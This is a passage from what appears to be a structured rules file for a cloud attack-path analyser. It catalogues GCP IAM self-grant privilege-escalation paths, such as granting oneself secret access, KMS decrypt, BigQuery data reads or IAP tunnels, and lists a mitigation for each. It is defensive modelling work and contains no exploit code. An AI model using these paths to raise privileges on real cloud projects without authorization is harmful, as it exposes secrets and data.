compute.machineImages.setIamPolicy on protected machine image resources and review self-directed IAM + policy changes. + notes: Google documents roles/compute.admin as grantable on an individual machine image. The modeled edge is the new machineImages.useReadOnly permission, not direct access to its disk bytes. Missing policy, prior access, role, or effective constraints leave the prospective path unresolved; reviewed accepted self-grant evidence remains supported. +- id: gcp-compute-snapshots-setiampolicy-snapshot-self-grant + provider: gcp + service: compute + title: Grant yourself read-only use of a snapshot + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-compute-privesc/README.md#computesnapshotssetiampolicy + source_revision: a1de13ac34 + summary: A policy writer on a ready global or regional snapshot may grant itself useReadOnly on that exact snapshot. + requires: + all_of: + - action: compute.snapshots.setIamPolicy + resource: '{target.policy_resource}' + target: + kind: gcp_verified_authority + selector: + gcp_resource_self_grant: true + scope: any + outcome: permission_grant + grants: + - compute.snapshots.useReadOnly + aggregate_as: Snapshot self-grant to the source + conditions: + - id: exact_snapshot_policy + description: Requires a unique ready global or regional snapshot, its readable IAM policy, derived policy-write permission, an applicable grantable role, no prior useReadOnly access, and complete deny and organization-policy evidence. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict compute.snapshots.setIamPolicy on protected snapshot resources and review self-directed IAM policy + changes. + notes: A prospective path is conditional because the policy change is not attempted. roles/compute.storageAdmin includes useReadOnly and is grantable on a snapshot. A reviewed accepted mutation can also prove the exact gain. This permission does not by itself expose disk bytes; later use needs separate creation permissions and any CMEK access. +- id: gcp-compute-disks-setiampolicy-disk-self-grant + provider: gcp + source_kind: + - gcp_user + - gcp_service_account + service: compute + title: Self-grant compute.disks.useReadOnly on a disk + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-compute-privesc/README.md#computediskssetiampolicy + source_revision: a1de13ac34 + summary: The source can add its own IAM binding to an exact disk it can administer and gain compute.disks.useReadOnly when it lacks that permission. + requires: + all_of: + - action: compute.disks.setIamPolicy + resource: '{target.policy_resource}' + target: + kind: gcp_verified_authority + selector: + gcp_resource_self_grant: true + scope: any + outcome: permission_grant + grants: + - compute.disks.useReadOnly + aggregate_as: Disk read-only use the source could grant itself + conditions: + - id: exact_reviewed_self_grant + description: The exact zonal or regional disk is inventoried with a readable IAM policy; the source can set that policy but lacks compute.disks.useReadOnly on the disk. An independently reviewed accepted mutation remains a second supported proof route. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict compute.disks.setIamPolicy on protected disk resources and review self-directed IAM policy changes. + notes: The source can add roles/compute.storageAdmin to its own disk policy to gain compute.disks.useReadOnly. This grants a new permission on that disk, but copying, imaging or attaching its bytes requires separate permissions and may face disk or CMEK constraints. +- id: gcp-gkehub-memberships-setiampolicy-membership-self-grant + provider: gcp + service: gkehub + title: Self-grant gkehub.gateway.generateCredentials on a membership + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-container-privesc.md#gkehubmembershipssetiampolicy--self-grant-connect-gateway-access + source_revision: a1de13ac34 + summary: The source can use gkehub.memberships.setIamPolicy on an exact membership to add its own IAM binding and gain gkehub.gateway.generateCredentials where that permission is absent. + requires: + all_of: + - action: gkehub.memberships.setIamPolicy + resource: '{target.policy_resource}' + target: + kind: gcp_verified_authority + selector: + gcp_resource_self_grant: true + scope: any + outcome: permission_grant + grants: + - gkehub.gateway.generateCredentials + aggregate_as: Verified membership self-grant to the source + conditions: + - id: exact_reviewed_self_grant + description: A prospective path needs the exact registered membership, its readable IAM policy, a known Gateway Reader role, and verified absence of prior access. An independently reviewed accepted mutation is a second proof route. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict gkehub.memberships.setIamPolicy on protected membership resources and review self-directed IAM policy changes. + notes: A collected, ready membership with a readable resource IAM policy supports a prospective self-grant when the source lacks gateway credentials and can write that policy. A reviewed accepted mutation remains a second proof route. Gateway transport still needs operation-specific permissions and in-cluster RBAC for a Kubernetes action. +- id: gcp-iap-tunnelinstances-setiampolicy-instance-self-grant + provider: gcp + service: iap + title: Self-grant IAP tunnel access on an instance + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-iap-privesc.md#iaptunnelinstancessetiampolicy--iaptunnelzonessetiampolicy + source_revision: a1de13ac34 + summary: The source can add its own IAP tunnel access on an existing VM when it can write that VM's IAP policy and does not already have the permission. + requires: + all_of: + - action: iap.tunnelInstances.setIamPolicy + resource: '{target.policy_resource}' + target: + kind: gcp_verified_authority + selector: + gcp_resource_self_grant: true + scope: any + outcome: permission_grant + grants: + - iap.tunnelInstances.accessViaIAP + aggregate_as: Verified instance self-grant to the source + conditions: + - id: exact_reviewed_self_grant + description: Requires an exact existing VM, complete IAP instance, zone and project policies, a known Tunnel User role, effective policy-write authority and verified absence of prior tunnel access. An independently reviewed accepted mutation is a second proof route. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict iap.tunnelInstances.setIamPolicy on protected instance resources and review self-directed IAM policy + changes. + notes: The prospective edge represents a new IAP tunnel permission on the exact VM. Firewall, guest authentication and runtime IAM Conditions can still limit use. A reviewed accepted mutation remains a second proof route. + references: + - https://docs.cloud.google.com/iap/docs/managing-access + - https://docs.cloud.google.com/iam/docs/roles-permissions/iap +- id: gcp-iap-tunnelzones-setiampolicy-zone-self-grant + provider: gcp + service: iap + title: Self-grant IAP tunnel access across a zone + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-iap-privesc.md#iaptunnelinstancessetiampolicy--iaptunnelzonessetiampolicy + source_revision: a1de13ac34 + summary: The source can add its own IAP tunnel access to at least one existing VM in a zone when it can write that zone's IAP policy and lacks access to that VM. + requires: + all_of: + - action: iap.tunnelZones.setIamPolicy + resource: '{target.policy_resource}' + target: + kind: gcp_verified_authority + selector: + gcp_resource_self_grant: true + scope: any + outcome: permission_grant + grants: + - iap.tunnelInstances.accessViaIAP + aggregate_as: Verified zone self-grant to the source + conditions: + - id: exact_reviewed_self_grant + description: Requires an exact existing VM in the zone, complete IAP instance, zone and project policies, a known Tunnel User role, effective zone policy-write authority and verified absence of prior tunnel access to that VM. An independently reviewed accepted mutation is a second proof route. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict iap.tunnelZones.setIamPolicy on protected zone resources and review self-directed IAM policy changes. + notes: The prospective edge represents a new IAP tunnel permission on at least one named VM in the zone. Firewall, guest authentication and runtime IAM Conditions can still limit use. A reviewed accepted mutation remains a second proof route. + references: + - https://docs.cloud.google.com/iap/docs/managing-access + - https://docs.cloud.google.com/iam/docs/roles-permissions/iap +- id: gcp-cloudkms-cryptokeys-setiampolicy-crypto-key-self-grant + provider: gcp + source_kind: + - gcp_user + - gcp_service_account + service: cloudkms + title: Self-grant cloudkms.cryptoKeyVersions.useToDecrypt on a crypto key + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-kms-privesc.md#cloudkmscryptokeyssetiampolicy + source_revision: a1de13ac34 + summary: The source can edit an inventoried crypto key's IAM policy to give itself decrypt permission when it does not already have that permission. + requires: + all_of: + - action: cloudkms.cryptoKeys.setIamPolicy + resource: '{target.policy_resource}' + target: + kind: gcp_verified_authority + selector: + gcp_resource_self_grant: true + scope: any + outcome: permission_grant + grants: + - cloudkms.cryptoKeyVersions.useToDecrypt + aggregate_as: Crypto key decrypt access the source could grant itself + conditions: + - id: exact_crypto_key_policy + description: Requires an inventoried decrypt-capable key, an enabled version, policy-write authority on that key, and no current decrypt grant; incomplete key, IAM, group, org policy, or deny evidence leaves the path unresolved. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict cloudkms.cryptoKeys.setIamPolicy on protected crypto key resources and review self-directed IAM policy + changes. + notes: Crypto Key Decrypter can be granted on one key. A prospective path is conditional because the IAM mutation has not been attempted; a reviewed accepted mutation can also provide direct evidence. +- id: gcp-secretmanager-secrets-setiampolicy-secret-self-grant + provider: gcp + source_kind: + - gcp_user + - gcp_service_account + service: secretmanager + title: Self-grant secretmanager.versions.access on a secret + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-secretmanager-privesc.md#secretmanagersecretssetiampolicy + source_revision: a1de13ac34 + summary: The source can use secretmanager.secrets.setIamPolicy on an inventoried secret to add its own Secret Accessor binding when it does not already have version access. + requires: + all_of: + - action: secretmanager.secrets.setIamPolicy + resource: '{target.policy_resource}' + target: + kind: gcp_verified_authority + selector: + gcp_resource_self_grant: true + scope: any + outcome: permission_grant + grants: + - secretmanager.versions.access + aggregate_as: Secret access the source could grant itself + conditions: + - id: exact_secret_policy + description: Requires an inventoried secret, policy-write authority on that secret, and no current version-access grant; incomplete direct IAM, group membership, org policy, or deny evidence leaves the path unresolved. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict secretmanager.secrets.setIamPolicy on protected secret resources and review self-directed IAM policy + changes. + notes: A Secret Manager Secret Accessor role can be granted on one secret. A prospective path is conditional because the IAM mutation has not been attempted; a reviewed accepted mutation can also provide direct evidence. +- id: gcp-compute-recoverablesnapshots-setiampolicy-recoverable-snapshot-self-grant + provider: gcp + service: compute + title: Grant yourself recovery access to a recoverable snapshot + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-compute-privesc/README.md#computerecoverablesnapshotssetiampolicy + source_revision: a1de13ac34 + summary: A policy writer on a ready recoverable snapshot may grant itself recover permission on that exact snapshot. + requires: + all_of: + - action: compute.recoverableSnapshots.setIamPolicy + resource: '{target.policy_resource}' + target: + kind: gcp_verified_authority + selector: + gcp_resource_self_grant: true + scope: any + outcome: permission_grant + grants: + - compute.recoverableSnapshots.recover + aggregate_as: Recoverable snapshot self-grant to the source + conditions: + - id: exact_recoverable_snapshot_policy + description: Requires a unique ready recoverable snapshot, its readable IAM policy, derived policy-write permission, an applicable grantable role, no prior recover access, and complete deny and organization-policy evidence. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict compute.recoverableSnapshots.setIamPolicy on protected recoverable snapshot resources and review self-directed + IAM policy changes. + notes: A prospective path is conditional because the policy change is not attempted. roles/compute.storageAdmin includes recover permission and can be granted on a recoverable snapshot. A reviewed accepted mutation can also prove the exact gain. Recovering the snapshot does not itself prove access to its disk data; later use has separate permissions and encryption requirements. +- id: gcp-containeranalysis-notes-setiampolicy-note-self-grant + provider: gcp + service: containeranalysis + title: Self-grant containeranalysis.notes.attachOccurrence on a note + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-container-analysis-privesc.md#containeranalysisnotessetiampolicy--self-grant-control-of-one-note + source_revision: a1de13ac34 + summary: Effective containeranalysis.notes.setIamPolicy on an exact note can add an unconditional Notes Attacher + binding for the caller and grant containeranalysis.notes.attachOccurrence when that permission was absent before. + requires: + all_of: + - action: containeranalysis.notes.setIamPolicy + resource: '{target.policy_resource}' + target: + kind: gcp_verified_authority + selector: + gcp_resource_self_grant: true + scope: any + outcome: permission_grant + grants: + - containeranalysis.notes.attachOccurrence + aggregate_as: Note self-grant to the source + conditions: + - id: exact_note_self_grant + description: Requires an exact global or regional note, effective policy-write access, a grantable Notes Attacher role, + absent prior attach access, readable note and ancestor policies, and complete deny and organization-policy evidence; a reviewed accepted mutation can instead prove the exact gain. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict containeranalysis.notes.setIamPolicy on protected note resources and review self-directed IAM policy + changes. + notes: A prospective path is conditional because the policy change is not attempted. The gain is limited to attaching + occurrences to the note; creating an occurrence and meeting Binary Authorization signature requirements are separate. + A reviewed accepted mutation can also prove the exact gain. +- id: gcp-datacatalog-categories-setiampolicy-policy-tag-self-grant + provider: gcp + service: datacatalog + title: Self-grant datacatalog.categories.fineGrainedGet on a policy tag + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataplex-privesc.md#datacatalogcategoriessetiampolicy--self-grant-fine-grained-access-to-policy-tagged-bigquery-columns + source_revision: a1de13ac34 + summary: Effective datacatalog.categories.setIamPolicy on an exact policy tag can add a Fine-Grained Reader binding + for the caller and grant datacatalog.categories.fineGrainedGet when that permission was absent before. + requires: + all_of: + - action: datacatalog.categories.setIamPolicy + resource: '{target.policy_resource}' + target: + kind: gcp_verified_authority + selector: + gcp_resource_self_grant: true + scope: any + outcome: permission_grant + grants: + - datacatalog.categories.fineGrainedGet + aggregate_as: Policy tag self-grant to the source + conditions: + - id: exact_policy_tag_self_grant + description: Requires an exact policy tag, effective policy-write access, a grantable Fine-Grained Reader role, + active fine-grained enforcement, absent prior reader access through the tag hierarchy, readable tag and ancestor + policies, and complete deny and organization-policy evidence; a reviewed accepted mutation can instead prove the exact gain. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict datacatalog.categories.setIamPolicy on protected policy tag resources and review self-directed IAM + policy changes. + notes: A prospective path is conditional because the policy change is not attempted. The grant satisfies the policy-tag + permission only; reading a protected BigQuery column also requires ordinary table access, a query job and active + column-level enforcement. A reviewed accepted mutation can also prove the exact gain. +- id: gcp-metastore-services-setiampolicy-metastore-service-self-grant + provider: gcp + service: metastore + title: Self-grant metastore.services.use on a metastore service + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataproc-metastore-privesc.md#metastoreservicessetiampolicy---grant-access-to-grpc-metadata + source_revision: a1de13ac34 + summary: Effective metastore.services.setIamPolicy on an active gRPC service can add a Metadata Viewer binding for + the caller and grant metastore.services.use when that permission was absent before. + requires: + all_of: + - action: metastore.services.setIamPolicy + resource: '{target.policy_resource}' + target: + kind: gcp_verified_authority + selector: + gcp_resource_self_grant: true + scope: any + outcome: permission_grant + grants: + - metastore.services.use + aggregate_as: Metastore service self-grant to the source + conditions: + - id: exact_grpc_metastore_service_self_grant + description: Requires an exact active gRPC Metastore service, effective policy-write access, a grantable Metadata + Viewer role, absent prior service-use permission, readable service and ancestor policies, and complete deny and + organization-policy evidence; a reviewed accepted mutation can instead prove the exact gain. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict metastore.services.setIamPolicy on protected metastore service resources and review self-directed IAM + policy changes. + notes: A prospective path is conditional because the policy change is not attempted. Service-use permission is only + one requirement for reading metadata; network and perimeter reachability remain separate. A reviewed accepted + mutation must also bind the exact active gRPC service. +- id: gcp-analyticshub-listings-setiampolicy-listing-self-grant + provider: gcp + service: analyticshub + title: Self-grant analyticshub.listings.subscribe on a listing + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-analytics-hub-privesc.md#analyticshublistingssetiampolicy--analyticshubdataexchangessetiampolicy--self-grant-subscription-authority + source_revision: a1de13ac34 + summary: The source can use analyticshub.listings.setIamPolicy on an exact listing to add its own subscriber + binding and gain analyticshub.listings.subscribe if it does not already hold that permission. + requires: + all_of: + - action: analyticshub.listings.setIamPolicy + resource: '{target.policy_resource}' + target: + kind: gcp_verified_authority + selector: + gcp_resource_self_grant: true + scope: any + outcome: permission_grant + grants: + - analyticshub.listings.subscribe + aggregate_as: Verified listing self-grant to the source + conditions: + - id: exact_listing_policy_or_reviewed_mutation + description: The exact listing and complete listing and parent exchange policies must show a policy-write right and no existing subscription right, or a unique reviewed mutation must prove the new permission on that listing. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict analyticshub.listings.setIamPolicy on protected listing resources and review self-directed IAM policy + changes. + notes: The prospective path needs a collected listing, complete listing and parent exchange IAM policies and prior access checks; unresolved group, deny or organization policy facts remain unknown. A reviewed accepted mutation can also prove the exact new permission. Neither path claims a subscription or data read occurred. +- id: gcp-analyticshub-dataexchanges-setiampolicy-data-exchange-self-grant + provider: gcp + service: analyticshub + title: Self-grant analyticshub.dataExchanges.subscribe on a data exchange + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-analytics-hub-privesc.md#analyticshublistingssetiampolicy--analyticshubdataexchangessetiampolicy--self-grant-subscription-authority + source_revision: a1de13ac34 + summary: The source can use analyticshub.dataExchanges.setIamPolicy on an exact data exchange to add its own subscriber + binding and gain analyticshub.dataExchanges.subscribe if it does not already hold that permission. + requires: + all_of: + - action: analyticshub.dataExchanges.setIamPolicy + resource: '{target.policy_resource}' + target: + kind: gcp_verified_authority + selector: + gcp_resource_self_grant: true + scope: any + outcome: permission_grant + grants: + - analyticshub.dataExchanges.subscribe + aggregate_as: Verified data exchange self-grant to the source + conditions: + - id: exact_exchange_policy_or_reviewed_mutation + description: The exact exchange and complete policy must show a policy-write right and no existing subscription right, or a unique reviewed mutation must prove the new permission on that exchange. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict analyticshub.dataExchanges.setIamPolicy on protected data exchange resources and review self-directed + IAM policy changes. + notes: The prospective path needs a collected exchange, complete exchange IAM policy and prior access checks; unresolved group, deny or organization policy facts remain unknown. A reviewed accepted mutation can also prove the exact new permission. Neither path claims a subscription or data read occurred. +- id: gcp-biglake-catalogs-setiampolicy-catalog-self-grant + provider: gcp + service: biglake + title: Self-grant biglake.catalogs.get on a catalog + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-biglake-privesc.md#biglakecatalogsnamespacestablessetiampolicy--self-grant-on-a-lakehouse-resource + source_revision: a1de13ac34 + summary: The source uses biglake.catalogs.setIamPolicy on an exact catalog to add its own IAM binding and gain biglake.catalogs.get, + which it lacked before the accepted policy mutation. + requires: + all_of: + - action: biglake.catalogs.setIamPolicy + resource: '{target.policy_resource}' + target: + kind: gcp_verified_authority + selector: + gcp_resource_self_grant: true + scope: any + outcome: permission_grant + grants: + - biglake.catalogs.get + aggregate_as: Catalog read access the source could grant itself + conditions: + - id: exact_reviewed_self_grant + description: Requires an inventoried catalog, its collected IAM policy, effective setIamPolicy authority on that exact catalog, + and no existing biglake.catalogs.get access. A verified policy mutation may also prove the grant. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict biglake.catalogs.setIamPolicy on protected catalog resources and review self-directed IAM policy changes. + notes: An exact catalog policy write with complete access evidence creates a conditional prospective path. Missing policy, + inventory, deny, group, or organization-policy evidence leaves the path unresolved. A verified mutation can prove the grant. +- id: gcp-biglake-namespaces-setiampolicy-namespace-self-grant + provider: gcp + service: biglake + title: Self-grant biglake.namespaces.get on a namespace + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-biglake-privesc.md#biglakecatalogsnamespacestablessetiampolicy--self-grant-on-a-lakehouse-resource + source_revision: a1de13ac34 + summary: The source uses biglake.namespaces.setIamPolicy on an exact namespace to add its own IAM binding and gain biglake.namespaces.get, + which it lacked before the accepted policy mutation. + requires: + all_of: + - action: biglake.namespaces.setIamPolicy + resource: '{target.policy_resource}' + target: + kind: gcp_verified_authority + selector: + gcp_resource_self_grant: true + scope: any + outcome: permission_grant + grants: + - biglake.namespaces.get + aggregate_as: Namespace read access the source could grant itself + conditions: + - id: exact_reviewed_self_grant + description: Requires an inventoried namespace, its collected IAM policy and parent catalog policy, effective setIamPolicy authority on that exact namespace, + and no existing biglake.namespaces.get access. A verified policy mutation may also prove the grant. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict biglake.namespaces.setIamPolicy on protected namespace resources and review self-directed IAM policy + changes. + notes: An exact namespace policy write with complete access evidence creates a conditional prospective path. Missing policy, + inventory, deny, group, or organization-policy evidence leaves the path unresolved. A verified mutation can prove the grant. +- id: gcp-biglake-tables-setiampolicy-table-self-grant + provider: gcp + service: biglake + title: Self-grant biglake.tables.get on a table + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-biglake-privesc.md#biglakecatalogsnamespacestablessetiampolicy--self-grant-on-a-lakehouse-resource + source_revision: a1de13ac34 + summary: The source uses biglake.tables.setIamPolicy on an exact table to add its own IAM binding and gain biglake.tables.get, + which it lacked before the accepted policy mutation. + requires: + all_of: + - action: biglake.tables.setIamPolicy + resource: '{target.policy_resource}' + target: + kind: gcp_verified_authority + selector: + gcp_resource_self_grant: true + scope: any + outcome: permission_grant + grants: + - biglake.tables.get + aggregate_as: Table metadata access the source could grant itself + conditions: + - id: exact_reviewed_self_grant + description: Requires an inventoried table, its collected IAM policy and both parent policies, effective setIamPolicy authority on that exact table, + and no existing biglake.tables.get access. A verified policy mutation may also prove the grant. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict biglake.tables.setIamPolicy on protected table resources and review self-directed IAM policy changes. + notes: An exact table policy write with complete access evidence creates a conditional prospective path. Missing policy, + inventory, deny, group, or organization-policy evidence leaves the path unresolved. A verified mutation can prove the grant. +- id: gcp-bigquery-datasets-setiampolicy-dataset-iam-self-grant + provider: gcp + service: bigquery + title: Self-grant bigquery.tables.getData on a dataset iam + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigquery-privesc.md#bigquerydatasetsupdate--bigquerydatasetssetiampolicy--self-grant-dataset-access + source_revision: a1de13ac34 + summary: The source uses bigquery.datasets.setIamPolicy on an exact dataset iam to add its own IAM binding and gain bigquery.tables.getData, + which it lacked before the accepted policy mutation. + requires: + all_of: + - action: bigquery.datasets.setIamPolicy + resource: '{target.policy_resource}' + target: + kind: gcp_verified_authority + selector: + gcp_resource_self_grant: true + scope: any + outcome: permission_grant + grants: + - bigquery.tables.getData + aggregate_as: Table data access the source could grant itself through the dataset + conditions: + - id: exact_reviewed_self_grant + description: Requires a collected dataset ACL and one exact data table with collected table IAM policy, effective setIamPolicy authority on the dataset, + and no existing data read access to that table. A verified policy mutation may also prove the grant. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict bigquery.datasets.setIamPolicy on protected dataset iam resources and review self-directed IAM policy + changes. + notes: The prospective path uses BigQuery dataset PATCH with updateMode UPDATE_ACL under fine-grained dataset ACL enforcement. + A grant of roles/bigquery.dataViewer on the dataset can add data read access to the named table. Incomplete ACL, table IAM, + group, deny, or organization-policy evidence leaves the path unresolved. +- id: gcp-bigquery-datasets-update-dataset-acl-self-grant + provider: gcp + service: bigquery + title: Self-grant bigquery.tables.getData on a dataset acl + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigquery-privesc.md#bigquerydatasetsupdate--bigquerydatasetssetiampolicy--self-grant-dataset-access + source_revision: a1de13ac34 + summary: When fine-grained dataset ACL enforcement is disabled, the source can use bigquery.datasets.update on an exact + dataset ACL to grant itself bigquery.tables.getData on a table it could not read before. + requires: + all_of: + - action: bigquery.datasets.update + resource: '{target.policy_resource}' + target: + kind: gcp_verified_authority + selector: + gcp_resource_self_grant: true + scope: any + outcome: permission_grant + grants: + - bigquery.tables.getData + aggregate_as: Verified dataset acl self-grant to the source + conditions: + - id: exact_reviewed_self_grant + description: Requires complete, unique, source-bound evidence for the exact policy and granted resources, policy-write action, new permission, + prior absence, accepted IAM mutation, and effective post-grant access. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict bigquery.datasets.update on protected dataset acl resources and review self-directed IAM policy changes. + notes: This path applies only when the effective fine-grained dataset ACL setting is known to be disabled. When enabled, + ACL changes require bigquery.datasets.setIamPolicy and are covered by the separate dataset IAM technique. The prospective + path also requires an existing named table, complete ACL and table IAM evidence, and no prior table data access. +- id: gcp-bigquery-connections-setiampolicy-connection-self-grant + provider: gcp + source_kind: + - gcp_user + - gcp_service_account + service: bigquery + title: Self-grant bigquery.connections.use on a connection + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigquery-privesc.md#bigqueryconnectionssetiampolicy--self-grant-connection-use + source_revision: a1de13ac34 + summary: The source can change a named BigQuery connection's IAM policy to grant itself connection use when it lacks that permission. + requires: + all_of: + - action: bigquery.connections.setIamPolicy + resource: '{target.policy_resource}' + target: + kind: gcp_verified_authority + selector: + gcp_resource_self_grant: true + scope: any + outcome: permission_grant + grants: + - bigquery.connections.use + aggregate_as: Verified connection self-grant to the source + conditions: + - id: exact_connection_policy + description: A reviewed accepted mutation must prove the exact new connection-use grant. A prospective path instead needs one named connection, complete connection and project IAM evidence, an effective policy-write grant on that connection, and prior absence of connection use. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict bigquery.connections.setIamPolicy on protected connection resources and review self-directed IAM policy + changes. + notes: This grants use of the named connection, not proof that an external query ran or disclosed data. The native prospective path is conditional; an accepted mutation can also be shown through gcp_resource_self_grant_evidence. +- id: gcp-datacatalog-taxonomies-setiampolicy-taxonomy-self-grant + provider: gcp + service: datacatalog + title: Self-grant datacatalog.categories.fineGrainedGet on a taxonomy + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigquery-privesc.md#datacatalogtaxonomiessetiampolicy--self-grant-fine-grained-reader + source_revision: a1de13ac34 + summary: Effective datacatalog.taxonomies.setIamPolicy on an exact taxonomy can add a Fine-Grained Reader binding + for the caller and grant datacatalog.categories.fineGrainedGet on a descendant tag where it was absent before. + requires: + all_of: + - action: datacatalog.taxonomies.setIamPolicy + resource: '{target.policy_resource}' + target: + kind: gcp_verified_authority + selector: + gcp_resource_self_grant: true + scope: any + outcome: permission_grant + grants: + - datacatalog.categories.fineGrainedGet + aggregate_as: Taxonomy self-grant to the source + conditions: + - id: exact_taxonomy_descendant_self_grant + description: Requires an exact taxonomy and descendant policy tag, active fine-grained enforcement, effective taxonomy + policy-write access, a grantable Fine-Grained Reader role, absent prior reader access on that tag, readable tag and + ancestor policies, and complete deny and organization-policy evidence; a reviewed accepted mutation can prove the exact gain. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict datacatalog.taxonomies.setIamPolicy on protected taxonomy resources and review self-directed IAM policy + changes. + notes: A prospective path is conditional because the policy change is not attempted. The taxonomy grant applies to + descendant tags; a protected BigQuery column still requires ordinary table and query access. A reviewed accepted + mutation must bind the exact taxonomy and prove new access on a named descendant tag. +- id: gcp-bigquery-tables-setiampolicy-table-self-grant + provider: gcp + service: bigquery + title: Self-grant bigquery.tables.getData on a table + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigquery-privesc.md#bigquerytablessetiampolicy--self-grant-table-access + source_revision: a1de13ac34 + summary: The source can add its own Data Viewer binding to an inventoried table it can change with bigquery.tables.setIamPolicy, gaining bigquery.tables.getData when it lacks that permission. + requires: + all_of: + - action: bigquery.tables.setIamPolicy + resource: '{target.policy_resource}' + target: + kind: gcp_verified_authority + selector: + gcp_resource_self_grant: true + scope: any + outcome: permission_grant + grants: + - bigquery.tables.getData + aggregate_as: Table read permissions the source could grant itself + conditions: + - id: exact_table_policy + description: Requires an inventoried table, a complete table IAM policy and dataset ACL, policy-write authority on that exact table, and no current read grant. Incomplete IAM, group, organization policy, or deny evidence leaves the path unresolved. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict bigquery.tables.setIamPolicy on protected table resources and review self-directed IAM policy changes. + notes: BigQuery Data Viewer can be bound to one table and includes tables.getData. A prospective grant is conditional until the policy mutation succeeds; a reviewed accepted mutation can provide direct evidence. Row and column restrictions may still limit readable data. +- id: gcp-bigtable-instances-setiampolicy-instance-self-grant + provider: gcp + source_kind: + - gcp_user + - gcp_service_account + service: bigtable + title: Self-grant Bigtable table access through an instance + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigtable-privesc.md#bigtableinstancessetiampolicy--self-grant-across-one-instance + source_revision: a1de13ac34 + summary: The caller can change an inventoried instance's IAM policy to grant itself read access to an existing table in that instance when it lacked that access. + requires: + all_of: + - action: bigtable.instances.setIamPolicy + resource: '{target.policy_resource}' + target: + kind: gcp_verified_authority + selector: + gcp_resource_self_grant: true + scope: any + outcome: permission_grant + grants: + - bigtable.tables.readRows + aggregate_as: Table read access the caller could grant through instance IAM + conditions: + - id: exact_instance_and_table_policies + description: Requires a ready instance, an existing table under it, exact policy-write authority on the instance, no current table read, and complete instance, table, IAM, group, and deny evidence. An accepted mutation can also be supported by reviewed evidence. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict bigtable.instances.setIamPolicy on protected instance resources and review self-directed IAM policy + changes. + notes: The prospective grant is conditional until the IAM change succeeds and is limited to the inventoried instance. It does not grant project IAM control or other instances. Incomplete evidence stays unresolved; accepted changes can also be shown through gcp_resource_self_grant_evidence. +- id: gcp-bigtable-instances-setiampolicy-instance-admin-self-grant + provider: gcp + source_kind: + - gcp_user + - gcp_service_account + service: bigtable + title: Self-grant Bigtable instance administration + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigtable-privesc.md#bigtableinstancessetiampolicy--self-grant-across-one-instance + source_revision: a1de13ac34 + summary: The caller can change a ready instance's IAM policy to grant itself instance update access when it lacked that access. + requires: + all_of: + - action: bigtable.instances.setIamPolicy + resource: '{target.policy_resource}' + target: + kind: gcp_verified_authority + selector: + gcp_resource_self_grant: true + scope: any + outcome: permission_grant + grants: + - bigtable.instances.update + aggregate_as: Instance administration the caller could grant itself + conditions: + - id: exact_instance_policy + description: Requires an inventoried ready instance, exact policy-write authority, no current instance update permission, and complete instance, IAM, group, org policy, and deny evidence. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict bigtable.instances.setIamPolicy on instances and review self-directed IAM policy changes. + notes: This captures an instance-level permission gain even when the instance has no tables. The prospective grant is conditional until the IAM change succeeds and does not grant project IAM control. +- id: gcp-bigtable-tables-setiampolicy-table-self-grant + provider: gcp + service: bigtable + title: Self-grant bigtable.tables.readRows on a table + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigtable-privesc.md#bigtabletablessetiampolicy--self-grant-on-one-table + source_revision: a1de13ac34 + summary: The source uses bigtable.tables.setIamPolicy on an exact table to add its own IAM binding and gain bigtable.tables.readRows, + which it lacked before the accepted policy mutation. + requires: + all_of: + - action: bigtable.tables.setIamPolicy + 